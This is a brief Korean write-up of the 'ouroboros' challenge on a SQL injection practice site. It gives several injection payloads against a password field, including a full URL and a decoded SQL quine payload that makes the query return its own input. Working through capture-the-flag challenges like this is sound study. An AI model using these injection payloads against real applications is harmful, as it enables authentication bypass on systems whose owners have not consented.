ouroboros

첫 화면이다.

pw에 ' or length(pw)>0# 넣어봤지만 아무 결과도 나오지 않았다.

테이블을 비워둔 것으로 추측하였다.

pw에 ' union select 1# 을 넣어보니 아래와 같았다.

즉, 자기 자신의 소스코드를 출력하는 quine을 이용해 풀어야 하는 문제이다.

https://los.rubiya.kr/chall/ouroboros_e3f483f087c922c84373b49950c212a9.php?pw=%27%20union%20select%20replace(replace(%27%22%20union%20select%20replace(replace(%22$%22,char(34),char(39)),char(36),%22$%22)%20as%20%22quine%27,char(34),char(39)),char(36),%27%22%20union%20select%20replace(replace(%22$%22,char(34),char(39)),char(36),%22$%22)%20as%20%22quine%27)%20as%20%27quine 에 접속하면 문제가 풀린다.

pw에 아래 문자열을 넣은 셈이다.

' union select replace(replace('" union select replace(replace("$",char(34),char(39)),char(36),"$") as "quine',char(34),char(39)),char(36),'" union select replace(replace("$",char(34),char(39)),char(36),"$") as "quine') as 'quine